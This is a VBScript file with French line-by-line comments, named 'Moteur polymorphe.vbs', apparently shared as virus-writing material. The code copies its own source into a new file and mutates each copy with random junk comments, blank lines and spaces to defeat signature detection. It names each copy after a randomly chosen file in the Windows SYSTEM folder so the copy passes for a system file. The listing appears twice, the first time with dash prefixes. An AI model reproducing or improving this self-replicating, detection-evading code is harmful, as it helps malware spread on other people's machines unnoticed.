- on error resume next 'pour d'éventuelles erreurs
-
- Dim F,R,G,O,T 'déclare les variables (F,R,G,O,T)
- Randomize 'initialise le générateur de nombres aléatoires
- Set F=CreateObject("Scripting.FileSystemObject") 'détermine F
- O="Moteur polymorphe.vbs" 'détermine O
- G=H+".vbs" 'détermine G
- F.CreateTextFile G 'crée le fichier G
- Set ts=F.OpenTextFile(G,2) 'détermine ts (ts = ouverture du fichier G)
- Set R=F.OpenTextFile(O,1) 'détermine R (R = ouverture du fichier O)
- Do 'début de l instruction Do...Loop
- x=Int(Rnd*4+1) 'détermine x (x = 4+1)
- If x=1 Then z=E 'si x = 1 alors z = E
- If x=2 Then z=U 'si x = 2 alors z = U
- If x=3 Then z=L 'si x = 3 alors z = L
- If x=4 Then z=K(10,20) 'si x = 4 alors z = K
- If x=5 Then z=vbCrLf 'si x = 5 alors z = saut de ligne
- ts.WriteLine z 'écrit la valeur de z dans ts
- If R.AtEndOfStream=-1 Then Exit Do
- Loop
- ts.Close 'fermeture du fichier ts
- R.Close 'fermeture du fichier R
- Function U 'début de la fonction U
- If R.AtEndOfStream=0 Then T=R.ReadLine
- If Left(T,1)="'" Then U
- If T="" Then U
- If W=0 Then U
- If Left(T,2)="O=" Then T="O="+""""+G+""""
- U=T 'détermine U (U = T)
- End Function 'fin de la fonction U
- Function W 'début de la fonction W
- For i=1 To Len(T)
- If Mid(T,i,1)<>Chr(32) Then W=2:Exit For
- W=0 'détermine W (W = 0)
- Next
- End Function 'fin de la fonction W
- Function J(n,m) 'début de la fonction J
- For i=0 To (Int(Rnd*(m-n)+n))
- J=Chr(14+Int(Rnd*241))+J 'détermine J
- Next
- End Function 'fin de la fonction J
- Function K(n,m) 'début de la fonction K
- K=Space(Int(Rnd*(m-n)+n)) 'détermine K
- End Function 'fin de la fonction K
- Function L 'début de la fonction L
- L=J(Int(Rnd*10),Int(Rnd*10)+10) 'détermine L
- n=Int(Rnd*3)+1 'détermine n
- If n=1 Then y=vbCrLf 'si n = 1 alors y = saut de ligne
- If n=2 Then y=K(Int(Rnd*3),Int(Rnd*5)+3) 'si n = 2 alors y = K
- If n=3 Then y="" 'si n = 3 alors y = rien
- L="'"+L+y 'détermine L
- End Function 'fin de la fonction L
- Function E 'début de la fonction E
- d=Int(Rnd*4)+1
- For a=0 To d
- E=E+vbCrLf 'détermine E
- Next
- End Function 'fin de la fonction E
- Function H 'début de la fonction H
- Set c=F.GetSpecialFolder(0) 'détermine c
- c=c+"\SYSTEM"
- Set D=F.GetFolder(C)
- Set z=D.Files
- x=0
- For Each q in z
- x=x+1
- Next
- If x<>0 then
- x=int(Rnd*x+1)
- s=0
- For Each q in z
- s=s+1
- H=F.GetBaseName(q.name)
- If s=x Then Exit For
- Next
- End If
- If O=H+".vbs" then x=0
- If x=0 then
- H=""
- b=Int(rnd*8)+3
- For n=1 To b
- H=Chr(Int(rnd*25)+65)+H
- Next
- End If
- End Function 'fin de la fonction H
on error resume next 'pour d'éventuelles erreurs
Dim F,R,G,O,T 'déclare les variables (F,R,G,O,T)
Randomize 'initialise le générateur de nombres aléatoires
Set F=CreateObject("Scripting.FileSystemObject") 'détermine F
O="Moteur polymorphe.vbs" 'détermine O
G=H+".vbs" 'détermine G
F.CreateTextFile G 'crée le fichier G
Set ts=F.OpenTextFile(G,2) 'détermine ts (ts = ouverture du fichier G)
Set R=F.OpenTextFile(O,1) 'détermine R (R = ouverture du fichier O)
Do 'début de l instruction Do...Loop
x=Int(Rnd*4+1) 'détermine x (x = 4+1)
If x=1 Then z=E 'si x = 1 alors z = E
If x=2 Then z=U 'si x = 2 alors z = U
If x=3 Then z=L 'si x = 3 alors z = L
If x=4 Then z=K(10,20) 'si x = 4 alors z = K
If x=5 Then z=vbCrLf 'si x = 5 alors z = saut de ligne
ts.WriteLine z 'écrit la valeur de z dans ts
If R.AtEndOfStream=-1 Then Exit Do
Loop
ts.Close 'fermeture du fichier ts
R.Close 'fermeture du fichier R
Function U 'début de la fonction U
If R.AtEndOfStream=0 Then T=R.ReadLine
If Left(T,1)="'" Then U
If T="" Then U
If W=0 Then U
If Left(T,2)="O=" Then T="O="+""""+G+""""
U=T 'détermine U (U = T)
End Function 'fin de la fonction U
Function W 'début de la fonction W
For i=1 To Len(T)
If Mid(T,i,1)<>Chr(32) Then W=2:Exit For
W=0 'détermine W (W = 0)
Next
End Function 'fin de la fonction W
Function J(n,m) 'début de la fonction J
For i=0 To (Int(Rnd*(m-n)+n))
J=Chr(14+Int(Rnd*241))+J 'détermine J
Next
End Function 'fin de la fonction J
Function K(n,m) 'début de la fonction K
K=Space(Int(Rnd*(m-n)+n)) 'détermine K
End Function 'fin de la fonction K
Function L 'début de la fonction L
L=J(Int(Rnd*10),Int(Rnd*10)+10) 'détermine L
n=Int(Rnd*3)+1 'détermine n
If n=1 Then y=vbCrLf 'si n = 1 alors y = saut de ligne
If n=2 Then y=K(Int(Rnd*3),Int(Rnd*5)+3) 'si n = 2 alors y = K
If n=3 Then y="" 'si n = 3 alors y = rien
L="'"+L+y 'détermine L
End Function 'fin de la fonction L
Function E 'début de la fonction E
d=Int(Rnd*4)+1
For a=0 To d
E=E+vbCrLf 'détermine E
Next
End Function 'fin de la fonction E
Function H 'début de la fonction H
Set c=F.GetSpecialFolder(0) 'détermine c
c=c+"\SYSTEM"
Set D=F.GetFolder(C)
Set z=D.Files
x=0
For Each q in z
x=x+1
Next
If x<>0 then
x=int(Rnd*x+1)
s=0
For Each q in z
s=s+1
H=F.GetBaseName(q.name)
If s=x Then Exit For
Next
End If
If O=H+".vbs" then x=0
If x=0 then
H=""
b=Int(rnd*8)+3
For n=1 To b
H=Chr(Int(rnd*25)+65)+H
Next
End If
End Function 'fin de la fonction H